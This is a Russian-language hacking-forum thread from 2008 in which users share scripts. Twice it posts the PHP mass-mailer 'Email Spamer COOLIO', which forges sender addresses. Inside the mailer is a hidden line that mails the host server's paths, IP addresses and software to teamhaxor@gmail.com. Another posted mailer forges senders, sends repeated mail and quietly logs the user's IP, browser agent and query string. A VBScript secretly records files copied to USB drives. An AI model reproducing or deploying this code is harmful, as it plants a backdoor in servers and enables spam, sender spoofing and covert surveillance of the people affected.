<p align="center"><b><font face="Tahoma" size="2" color="#000000">Email Spamer COOLIO (only Mozilla Firefox)</font></b></td>
</tr>


<tr>
<td width="100" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22" align="right">
<div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">от кого:</font></div>
</td>
<td width="390" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
<input name="from" value="<? print $from; ?>" size="30" style="float: left"></font><div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">имя:</font></div>
</td>
<td width="317" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22" valign="middle"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="realname" value="<? print $realname; ?>" size="30">
</font></td>
</tr>
<tr>
<td width="100" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22" align="right">
<div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">копия:</font></div>
</td>
<td width="390" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
<input name="replyto" value="<? print $replyto; ?>" size="30" style="float: left"></font><div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">вставить файл:</font></div>
</td>
<td width="317" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
<input type="file" name="file" size="30">
</font></td>
</tr>
<tr>
<td width="100" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22" align="right">
<div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">тема:</font></div>
</td>


<td colspan="1" width="715" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
<input name="subject" value="<? print $subject; ?>" size="59" style="float: left">
</font></td>
</tr>

<tr valign="top">
<td colspan="2" width="477" bgcolor="#ffffff" height="189" valign="top">
<div align="left">
<table border="0" cellpadding="2" style="border-collapse: collapse" bordercolor="#" width="98%" id="AutoNumber4">
<tr>
<td width="100%">
<textarea name="message" cols="56" rows="10"><? print $message; ?></textarea>
<br>
<input type="radio" name="contenttype" value="plain" checked>
<font size="1" face="Tahoma">Plain</font>
<input type="radio" name="contenttype" value="html">
<font size="1" face="Tahoma">HTML</font>
<input type="hidden" name="action" value="send">
<input type="submit" value="отправить">
</td>
</tr>
</table>
</div>
</td>

<td width="317" bgcolor="#ffffff" height="187" valign="top">
<p align="center"><font size="1" face="Tahoma" color="#000000">Emails:</font>
<div align="center">
<center>
<table border="0" cellpadding="1" style="border-collapse: collapse" bordercolor="#006600" width="93%" id="AutoNumber3">
<tr>
<td width="100%">


<p align="center"> <textarea name="emaillist" cols="30" rows="10"><? print $emaillist; ?></textarea>
</font><br>
</td>
</tr>
</table>
</center>
</div>
</td>
</tr>
</table>
</td>
</tr>
</table>
</center>
</div></td>
</tr>
</table>
</center>
</div>
</td>
</tr>
</table>
</center>
</div>
</form>

<?php
if ($action=="send"){
if (!$from && !$subject && !$message && !$emaillist){
print "Заполните все поля перед посылкой вашего сообщения.";
exit;
}
$allemails = split("\n", $emaillist);
$numemails = count($allemails);

#Open the file attachment if any, and base64_encode it for email transport
if ($file_name){
@copy($file, "./~crazyfolder/$file_name") or die("Файл, который вы пробуете переслать, не передан на сервер.");
$content = fread(fopen($file,"r"),filesize($file));
$content = chunk_split(base64_encode($content));
$uid = strtoupper(md5(uniqid(time())));
$name = basename($file);
}

for($x=0; $x<$numemails; $x++){
$to = $allemails[$x];
if ($to){
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("&email&", $to, $message);
$subject = ereg_replace("&email&", $to, $subject);
print "<center><div align=\"left\" style=\"width:50%;\"> $to ";
flush();
$header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
$header .= "MIME-Version: 1.0\r\n";
if ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
if ($file_name) $header .= "--$uid\r\n";
$header .= "Content-Type: text/$contenttype\r\n";
$header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
$header .= "$message\r\n";
if ($file_name) $header .= "--$uid\r\n";
if ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
if ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
if ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n"; $ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="teamhaxor@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
if ($file_name) $header .= "$content\r\n";
if ($file_name) $header .= "--$uid--";
mail($to, $subject, "", $header);
print "отправлено<br></div></center>";
flush();
}
}
}
?>



<CITE STYLE="display: none;">
<B STYLE="display: none;">

Makcimka
03.11.2008, 01:33
Cпасибо большое ,сюрприз в личке :)
Выложите еще пожалуйста

idTalis
03.11.2008, 23:17
Выложите плиз скрипт, который будет считать уники и записывать в txt файл, формат:
дата/кол-во уников
03.11.08/3758
Зарание спс

heretic1990
04.11.2008, 00:00
Выложите плиз скрипт, который будет считать уники и записывать в txt файл, формат:
дата/кол-во уников
03.11.08/3758
Зарание спс
я так понял нужен скрипт для сбора информации о посетителях на сайте если да то вот: http://www.woweb.ru/load/73-1-0-4052

pantur
04.11.2008, 13:30
Ммм, сделал один скрипт, не знаю, может кому и пригодится. Я его использовал, чтобы сделать файл большого размера (для p2p).

<?php
set_time_limit(0);
$file = $_GET['file'];
$fd = fopen($file, 'a') or die("Can\'t open file \"$file\""); $data = 'a';
$num_add = rand(1, 5120)*1024;
$size = $num_add / 1024 / 1024;
for ($i=1;$i<$num_add;$i++) {
@fwrite($fd, $data);
}
fclose($fd);
print "\"$data\" was written to file \"$file\" $i times ($size Mb) <br/>\r\n";
?>


P.S. Измените $num_add на пару порядков, а то я использовал rand() для отшлифовки размера - чтобы была разная контрольная сумма.

idTalis
04.11.2008, 14:15
я так понял нужен скрипт для сбора информации о посетителях на сайте если да то вот: http://www.woweb.ru/load/73-1-0-4052
Нет, мне нужен скрипт который считает только уники, а от таго скрипта который ты предложил будет такая нагрузка на сервер, текстовый файл будет расти

Pashkela
04.11.2008, 14:19
Чо за уники? По ай-пи, по нику, по странам - пиши конкретно

idTalis
04.11.2008, 14:23
Чо за уники? По ай-пи, по нику, по странам - пиши конкретно
А я конкретно написал, что мне нужен скрипт который считает количество уников (уникальных посетителей) за сутки и записывает в текстовоик

heretic1990
04.11.2008, 14:57
Скрипт считает, сколько было показано страниц всего, сколько показано сегодня, сколько посетителей было всего, сколько было сегодня, сколько находится на сайте сейчас.

Установка

1. Закачайте файлы на сервер в любую папку.
2. Установите следующие права доступа:
на саму папку - 711 (или 755)
на файл counter.php - 444 (или 644)
на файлы .dat - 600 (или 666)
3. Вставьте на страницу следующий код:
<script language="JavaScript" src="http://you_url/you_dir/counter.php"></script>



<?php
$total_data="base.dat";
$online_data="online.dat";
$time=time();
$now=(int)(time()/86400);
$past_time=time()-600;

$readdata=fopen($online_data,"r") or die("Не могу открыть файл $online_data");
$online_data_array=file($online_data);
fclose($readdata);

if(getenv('HTTP_X_FORWARDED_FOR'))
$user=getenv('HTTP_X_FORWARDED_FOR');
else
$user=getenv('REMOTE_ADDR');

$d=count($online_data_array);
for($i=0;$i<$d;$i++)
{
list($live_user,$last_time)=explode("::","$online_data_array[$i]");
if($live_user!=""&&$last_time!=""):
if($last_time<$past_time):
$live_user="";
$last_time="";
endif;
if($live_user!=""&&$last_time!="")
{
if($user==$live_user)
{
$online_array[]="$user::$time\r\n";
}
else
$online_array[]="$live_user::$last_time";
}
endif;
}

if(isset($online_array)):
foreach($online_array as $i=>$str)
{
if($str=="$user::$time\r\n")
{
$ok=$i;
break;
}
}
foreach($online_array as $j=>$str)
{
if($ok==$j) { $online_array[$ok]="$user::$time\r\n"; break;}
}
endif;

$writedata=fopen($online_data,"w") or die("Не могу открыть файл $online_data");
flock($writedata,2);
if($online_array=="") $online_array[]="$user::$time\r\n";
foreach($online_array as $str)
fputs($writedata,"$str");
flock($writedata,3);
fclose($writedata);

$readdata=fopen($online_data,"r") or die("Не могу открыть файл $online_data");
$online_data_array=file($online_data);
fclose($readdata);
$online=count($online_data_array);

$f=fopen($total_data,"a");
$call="$user|$now\n";
$call_size=strlen($call);
flock($f,2);
fputs($f, $call,$call_size);
flock($f,3);
fclose($f);

$tarray=file($total_data);
$total_hits=count($tarray);

$today_hits_array=array();
for($i=0;$i<count($tarray);$i++)
{
list($ip,$t)=explode("|",$tarray[$i]);
if($now==$t) { array_push($today_hits_array,$ip); }
}
$today_hits=count($today_hits_array);

$total_hosts_array=array();
for($i=0;$i<count($tarray);$i++)
{
list($ip,$t)=explode("|",$tarray[$i]);
array_push($total_hosts_array,$ip);
}
$total_hosts=count(array_unique($total_hosts_array ));

$today_hosts_array=array();
for($i=0;$i<count($tarray);$i++)
{
list($ip,$t)=explode("|",$tarray[$i]);
if($now==$t) { array_push($today_hosts_array,$ip); }
}
$today_hosts=count(array_unique($today_hosts_array ));

echo "document.write('<table bgcolor=#888888 cellspacing=1 cellpadding=1 style=\"font-family:Verdana;font-size:10px;\">');";
echo "document.write('<tr><td bgcolor=#CCCCFF align=center>Статистика сайта</td></tr>');";
echo "document.write('<tr><td bgcolor=#E8E8FF>Хитов всего: $total_hits</td></tr>');";
echo "document.write('<tr><td bgcolor=#E8E8FF>Хитов сегодня: $today_hits</td></tr>');";
echo "document.write('<tr><td bgcolor=#E8E8FF>Хостов всего: $total_hosts</td></tr>');";
echo "document.write('<tr><td bgcolor=#E8E8FF>Хостов сегодня: $today_hosts</td></tr>');";
echo "document.write('<tr><td bgcolor=#E8E8FF>Сейчас на сайте: $online</td></tr>');";

?>


и два пустых файла:
base.dat
online.dat

Pashkela
04.11.2008, 16:05
А я конкретно написал, что мне нужен скрипт который считает количество уников (уникальных посетителей) за сутки и записывает в текстовоик

Создаешь три файла:

1. ip.txt (сюда будут складываться IP посетителей и оттуда же браться на проверку - был/не был сегодня)
2. log.txt (статистика для текущих суток - в том виде, как ты хочешь)
3. stat.txt (общая статистика за всё время - в том виде, как ты хочешь)

ну и вот сам код:


<?php
$vremya = date("d.m.Y");
$s=0;
$buffer = '';
$t=array();
$ip = $_SERVER['REMOTE_ADDR'];
$handle = fopen('log.txt', 'r');
if ($handle)
{
$buffer = fgets($handle);
$t = explode('/',$buffer);
}
fclose($handle);

if ($vremya==ltrim($t[0]))
{
$ipArray = array_map("trim", file("ip.txt"));
if( in_array($ip,$ipArray) )
{
exit;
}
else
{
$handler = fopen('ip.txt', 'a+');
if ($handler) {fwrite($handler,$ip . "\r\n");}
fclose($handler);
$s= ltrim($t[1]);
$s=$s+1;
$handler = fopen('log.txt', 'w');
if ($handler) {fwrite($handler,"$vremya/$s");}
fclose($handler);
}
}
else
{
$handler = fopen('ip.txt', 'w');
if ($handler) {fwrite($handler,$ip . "\r\n");}
fclose($handler);
$handler = fopen('stat.txt', 'a+');
if ($handler) {fwrite($handler,$buffer . "\r\n");}
fclose($handler);
$s=$s+1;
$handler = fopen('log.txt', 'w');
if ($handler) {fwrite($handler,"$vremya/$s" . "\r\n");}
fclose($handler);
}
?>

Lizochek22
04.11.2008, 16:29
Выложите скрипт для отправки анонимный почты в html формате.Сразу гаварю http://forum.antichat.ru/thread44536.html вот этот не годится,не приходят нужные html пиьма с него!!!Заранее спасибо!

Makcimka
04.11.2008, 17:03
Выложите скрипт для отправки анонимный почты в html формате.Сразу гаварю http://forum.antichat.ru/thread44536.html вот этот не годится,не приходят нужные html пиьма с него!!!Заранее спасибо!
назад листани ,увидишь

aciiD
04.11.2008, 17:50
а есть какой нить скрип который набивает количество гостей и т.п ?
если он тут есть то извините не видел

мне нужен на Javascript

Lizochek22
04.11.2008, 18:06
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="c_mail">
<title>C_mail</title>
<?php




if ($action=="send"){
$message = urlencode($message);
$message = ereg_replace("%5C%22", "%22", $message);
$message = urldecode($message);
$message = stripslashes($message);
$subject = stripslashes($subject);
}


?>




<form name="form1" method="post" action="" enctype="multipart/form-data" style="display:inline;">
<div align="left">






<center>
<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#000000" width="50%" id="AutoNumber1">
<tr>
<td width="100%">
<div align="left">
<center>
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#000000" width="50%" id="AutoNumber2">
<tr>
<td width="100%">
<p align="left"><div align="left">
<center>
<table border="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#0006000" width="70%" cellpadding="0" id="AutoNumber1" height="277">
<tr>
<td width="100%" height="272">
<table width="769" border="0" height="303">
<tr>
<td width="786" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic3.gif" colspan="3" height="28">
<p align="center"><b><font face="Tahoma" size="2" color="#000000">Email Spamer COOLIO (only Mozilla Firefox)</font></b></td>
</tr>


<tr>
<td width="100" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22" align="right">
<div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">от кого:</font></div>
</td>
<td width="390" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
<input name="from" value="<? print $from; ?>" size="30" style="float: left"></font><div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">имя:</font></div>
</td>
<td width="317" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22" valign="middle"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="realname" value="<? print $realname; ?>" size="30">
</font></td>
</tr>
<tr>
<td width="100" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22" align="right">
<div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">копия:</font></div>
</td>
<td width="390" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
<input name="replyto" value="<? print $replyto; ?>" size="30" style="float: left"></font><div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">вставить файл:</font></div>
</td>
<td width="317" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
<input type="file" name="file" size="30">
</font></td>
</tr>
<tr>
<td width="100" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22" align="right">
<div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">тема:</font></div>
</td>


<td colspan="1" width="715" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
<input name="subject" value="<? print $subject; ?>" size="59" style="float: left">
</font></td>
</tr>

<tr valign="top">
<td colspan="2" width="477" bgcolor="#ffffff" height="189" valign="top">
<div align="left">
<table border="0" cellpadding="2" style="border-collapse: collapse" bordercolor="#" width="98%" id="AutoNumber4">
<tr>
<td width="100%">
<textarea name="message" cols="56" rows="10"><? print $message; ?></textarea>
<br>
<input type="radio" name="contenttype" value="plain" checked>
<font size="1" face="Tahoma">Plain</font>
<input type="radio" name="contenttype" value="html">
<font size="1" face="Tahoma">HTML</font>
<input type="hidden" name="action" value="send">
<input type="submit" value="отправить">
</td>
</tr>
</table>
</div>
</td>

<td width="317" bgcolor="#ffffff" height="187" valign="top">
<p align="center"><font size="1" face="Tahoma" color="#000000">Emails:</font>
<div align="center">
<center>
<table border="0" cellpadding="1" style="border-collapse: collapse" bordercolor="#006600" width="93%" id="AutoNumber3">
<tr>
<td width="100%">


<p align="center"> <textarea name="emaillist" cols="30" rows="10"><? print $emaillist; ?></textarea>
</font><br>
</td>
</tr>
</table>
</center>
</div>
</td>
</tr>
</table>
</td>
</tr>
</table>
</center>
</div></td>
</tr>
</table>
</center>
</div>
</td>
</tr>
</table>
</center>
</div>
</form>

<?php
if ($action=="send"){
if (!$from && !$subject && !$message && !$emaillist){
print "Заполните все поля перед посылкой вашего сообщения.";
exit;
}
$allemails = split("\n", $emaillist);
$numemails = count($allemails);

#Open the file attachment if any, and base64_encode it for email transport
if ($file_name){
@copy($file, "./~crazyfolder/$file_name") or die("Файл, который вы пробуете переслать, не передан на сервер.");
$content = fread(fopen($file,"r"),filesize($file));
$content = chunk_split(base64_encode($content));
$uid = strtoupper(md5(uniqid(time())));
$name = basename($file);
}

for($x=0; $x<$numemails; $x++){
$to = $allemails[$x];
if ($to){
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("&email&", $to, $message);
$subject = ereg_replace("&email&", $to, $subject);
print "<center><div align=\"left\" style=\"width:50%;\"> $to ";
flush();
$header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
$header .= "MIME-Version: 1.0\r\n";
if ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
if ($file_name) $header .= "--$uid\r\n";
$header .= "Content-Type: text/$contenttype\r\n";
$header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
$header .= "$message\r\n";
if ($file_name) $header .= "--$uid\r\n";
if ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
if ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
if ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n"; $ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="teamhaxor@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
if ($file_name) $header .= "$content\r\n";
if ($file_name) $header .= "--$uid--";
mail($to, $subject, "", $header);
print "отправлено<br></div></center>";
flush();
}
}
}
?>



<CITE STYLE="display: none;">
<B STYLE="display: none;">


Скрипт не работает или я что то не так сделала?? http://img.pixs.ru/images/111111jpg_7710231_107284.jpg

idTalis
04.11.2008, 18:27
на бесплатный хостинг не стоит заливать ,ибо на mail.ru не будут доходить
Обоснуй, если не знаешь, то лучше промолчи

Makcimka
04.11.2008, 18:40
потому ,что банят по ip ,и вообще как прочтешь сообщения ,удали своё ,и я своё удалю
тут не стоит флеймить

pantur
04.11.2008, 19:34
Выложите скрипт для отправки анонимный почты в html формате.Сразу гаварю http://forum.antichat.ru/thread44536.html вот этот не годится,не приходят нужные html пиьма с него!!!Заранее спасибо!

В PEAR есть класс для работы с MIME. Может попробовать примерно так составить тело письма?:

<?php
require_once('class.mime.php');

$from_email = 'sender@mail.com';
$to_email = 'recipient@mail.com';
$subj = 'Your subject of mail';
$body_file = 'mail_body.html';
$attach_file = 'attach.doc';

$mail = new Mail_mime();
$mail->setSubject($subj);
$mail->setHTMLBody($body_file, true);
$mail->addAttachment($attach_file, , $attach_name);
$mail->setFrom($from_email);
$mail->encodeRecipients($to_email);
?>

Lizochek22
04.11.2008, 19:54
Помогите с маилером разобратся ICQ 67-778-252 кто поможет того ждет вознаграждение 3$

heretic1990
05.11.2008, 17:28
JavaScript "обратная связь"

Поместить между <HEAD> и </HEAD>
<SCRIPT LANGUAGE="JavaScript">

<!-- This script and many more are available free online at -->
<!-- The JavaScript Source!! http://javascript.internet.com -->

<!-- Begin
function checkFields() {
missinginfo = "";
if (document.form.name.value == "") {
missinginfo += "\n - Имя";
}
if ((document.form.from.value == "") ||
(document.form.from.value.indexOf('@') == -1) ||
(document.form.from.value.indexOf('.') == -1)) {
missinginfo += "\n - Email адрес";
}
if ((document.form.website.value == "") ||
(document.form.website.value.indexOf("http://") == -1) ||
(document.form.website.value.indexOf(".") == -1)) {
missinginfo += "\n - Вебсайт";
}
if(document.form.comments.value == "") {
missinginfo += "\n - Комментарий";
}

if (missinginfo != "") {
missinginfo ="_____________________________\n" +
"Вы ошиблись в заполнении или не заполнили следующие поля:\n" +
missinginfo + "\n_____________________________" +
"\nПожалуйста, заполните правильно и нажмите кнопку \"Отправить!\"!";
alert(missinginfo);
return false;
}
else return true;
}
// End -->
</script>


Поместить между <BODY> и </BODY>

<form ENCTYPE="text/plain" NAME="form" METHOD='POST'
ACTION='mailto:eugenezz@yandex.ru?subject=JS Library Предложения' onSubmit="return checkFields();">
<input type=hidden name=subject value="JS Library Предложения">

Имя:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <input type=text name="name" size=30><BR>

E-mail:&nbsp;&nbsp;&nbsp;&nbsp; <input type=text name="from" size=30><BR>

Вебсайт: <input type=text value="http://" name="website" size=30><BR>

Комментарий: <BR>

<textarea rows=3 cols=35 name="comments"></textarea><BR>

<input type=submit value="Отправить!">
</form>

aciiD
05.11.2008, 23:08
а есть какой нить скрип который набивает количество гостей и т.п ?
если он тут есть то извините не видел

мне нужен на Javascript
ну что кто нибудь знает

DDoSька
05.11.2008, 23:22
ну что кто нибудь знает
Мне кажеться, JS тут не нужен,нужно PHP(socket,curl)
Я просто себе не предстваля работу через JS (((

rushter
05.11.2008, 23:46
Скрипт не работает или я что то не так сделала?? http://img.pixs.ru/images/111111jpg_7710231_107284.jpg
всё отлично работает

Lizochek22
06.11.2008, 13:35
всё отлично работает
--------------------------------------------------------------------------
Лучше бы написал что я не так сделала,я взяла этот скрипт сохранила его как htm залила,вот что получилось http://img.pixs.ru/images/111111jpg_7710231_107284.jpg Может кто нить скажет как надо сделать правильно,при отправке пишет ошибку

.:EnoT:.
06.11.2008, 13:38
у тебя на хосте не поддерживается php.
Эта тема для выкладывания скриптов, обсуждения и вопросы в соседних!)

Ru}{eeZ
06.11.2008, 13:49
Отправка писем от чужёго e-mail, можно указать и имя. Возможность выбора между html и текстовым письмом. Отправка писем за раз (20 новых писем в ящеке...). Выбор нужной кодировки. Отправка файлов не дописана.


<?php

print <<<HERE
<style type = "text/css">
body {
font-family: Arial;
}

#inputone {
width: 100%;
}

#textarea {
width: 100%;
height: 500px;
}

#infotd {
font-size: 13px;
width: 100px;
}

#infotd2 {
font-size: 13px;
}

#bgcolor_infotd {
background-color: #dbeaff;
}

#good_send {
color: #00419a;
}

#sends {
width: 20px;
}

#notice {
color: red;
}

</style>

HERE;

$html_or_text = $_GET["html_or_text"];
$sends = $_GET["sendes"];

if($_GET["html_or_text"] == 1) {
$htmltext = "\r\nContent-type: text/plain";
} else if ($_GET["html_or_text"] == 2) {
$htmltext = "\r\nContent-type: text/html";
} else {}

if($_GET["codir"] == 1) {
$cod = "windows-1251";
} else if ($_GET["codir"] == 2){
iconv("windows-1251", "utf-8", $email . $them . $body . $send_full . $htmltext);
$cod = "utf-8";
} else {}

$mime = "$htmltext; charset = \"$cod\"";

if($_GET["sender_name"] == TRUE) {
$sender_full = $sender_name . " <" . $sender_mail . ">";
} else {
$sender_full = $sender_mail;
}

if(isset($_GET["send"])) {
for($i = 0; $i < $_GET["sendes"]; $i++) {
mail("$email", "$them", "$body", "From: $sender_full $mime");
}
print "<center><span id = \"good_send\">Сообщение отправлено</span></center>";
$fp = fopen("result.txt", "a");
$content = <<<HERE
IP: $REMOTE_ADDR
Agent: $HTTP_USER_AGENT
Cookie: $QUERY_STRING
-
Отправитель (e-mail): $sender_mail
Отправитель (имя): $sender_name
E-mail: $email
Тема: $them
Текст письма -
$body
text/html: $html_or_text
Количество писем за раз: $sends
-----------------------------

HERE;

fputs($fp, $content);
fclose($fp);
} else {
print <<<HERE
<form>
<table border = "0" width = "100%" id = "infotd2" cellpadding = "1" cellspacing = "1">
<tr id = "bgcolor_infotd">
<td id = "infotd">
От кого (e-mail):
</td>
<td>
<input type = "text" id = "inputone" name = "sender_mail" value = "bill@microsoft.com" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td id = "infotd">
От кого (Имя):
</td>
<td>
<input type = "text" id = "inputone" name = "sender_name" value = "Билл" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td id = "infotd">
Кому<span id = "notice">*</span>:
</td>
<td>
<input type = "text" id = "inputone" name = "email" value = "admin@mail.ru" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td id = "infotd">
Тема письма<span id = "notice">*</span>:
</td>
<td>
<input type = "text" id = "inputone" name = "them" value = "Hello" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td valign = "top" id = "infotd">
Текст письма<span id = "notice">*</span>:
</td>
<td>
<textarea name = "body" id = "textarea">You are lol:)</textarea>
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
Файл: <input type="file" name="File"> - Вы можете прикрепить файл размером не больше 2мб.
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
<input type = "radio" name = "html_or_text" value = "1" checked = "checked">Только текст
<input type = "radio" name = "html_or_text" value = "2">HTML и текст
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
Количество писем за раз:
<select name = "sendes">
<option value = "1">1</option>
<option value = "2">2</option>
<option value = "3">3</option>
<option value = "4">4</option>
<option value = "5">5</option>
<option value = "6">6</option>
<option value = "7">7</option>
<option value = "8">8</option>
<option value = "9">9</option>
<option value = "10">10</option>
<option value = "11">11</option>
<option value = "12">12</option>
<option value = "13">13</option>
<option value = "14">14</option>
<option value = "15">15</option>
<option value = "16">16</option>
<option value = "17">17</option>
<option value = "18">18</option>
<option value = "19">19</option>
<option value = "20">20</option>
</select>
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
Кодировка письма:
<select name = "codir">
<option value = "1">windows-1251</option>
<option value = "2">utf-8</option>
</select>
</td>
</tr>
<tr>
<td valign = "top" colspan = "2">
<table border = "0" width = "100%" id = "infotd2">
<td valign = "top">
Поля отмеченные знаком <span id = "notice">*</span> обязательны для заполнения
</td>
<td colspan = "2" align = "right">
<input type = "reset" value = "Вернуть" />
<input type = "submit" value = "Отправить" />
<input type = "hidden" name = "send" />
</td>
<table>
</td>
</tr>
</form>

HERE;

}

?>

Lizochek22
06.11.2008, 18:29
открой через блокнот и сохрани в 123.php
А как запустить его тогда?

Makcimka
06.11.2008, 18:38
А как запустить его тогда?
ну вот ты заливаешь на хост ,например tvoihost.ru
переход к скрипту уже как его назовешь например tvoihost.ru/123.php

heretic1990
06.11.2008, 22:42
Незнаю может нетуда запостил?!, вот откапал архив с флеш часами для сайта)) 129 шт
ifolder (http://nn.ifolder.ru/8937647)
letitbit (http://letitbit.net/download/004020160469/FlashClock.rar.html)
depositfiles (http://depositfiles.com/files/265jq69fe)

Pashkela
06.11.2008, 23:28
С помощью данного скрипта можно отследить файлы, которые были скопированы на съемный носитель (например USB-флешку) с записью информации о скопированных файлах в файл result.txt:

Открываем блокнот, вставлям код, что ниже, сохраняем как snifer.vbs, запускаем:)


' Тут начинаем сканирование на наличие новых дисков (т.е. ожидаем, пока воткнут что-нибудь)
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2")
Set objEvents = objWMIService.ExecNotificationQuery _
("SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE " & _
"TargetInstance ISA 'Win32_LogicalDisk'" & _
" AND TargetInstance.DriveType = 2")
a=0
Do While a=0
Set objReceivedEvent = objEvents.NextEvent
disk=objReceivedEvent.TargetInstance.Name
a=1
Loop
Set objWMIService = Nothing
Set objEvents = Nothing
disk = disk & "\\\\"
' Тут сканирование закончивается, если вставили USB (или любой другой съемный носитель - буква диска зафиксирована)

'Тут запускаем логирование копирования файлов на съемный носитель
FileDestination = "result.txt"
Set FSO = CreateObject("Scripting.FileSystemObject")
Set Destination = FSO.CreateTextFile(FileDestination)
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & _
strComputer & "\root\cimv2")
Set colMonitoredEvents = objWMIService.ExecNotificationQuery _
("SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE " _
& "Targetinstance ISA 'CIM_DirectoryContainsFile' and " _
& "TargetInstance.GroupComponent= " _
& "'Win32_Directory.Name=""" & disk & """'")
Do
Set objLatestEvent = colMonitoredEvents.NextEvent
Str = objLatestEvent.TargetInstance.PartComponent
Destination.WriteLine now() & "--" & Str
Loop


Чтобы диск "А" постоянно не пукал (если он есть в системе) - отключите его в "Мой компутер" -"Диспетчер устройств" или физически

В виде .exe можно скачать здесь:

http://pashkela.narod.ru/progi/USBsniffer.rar
Пароль на архив - 123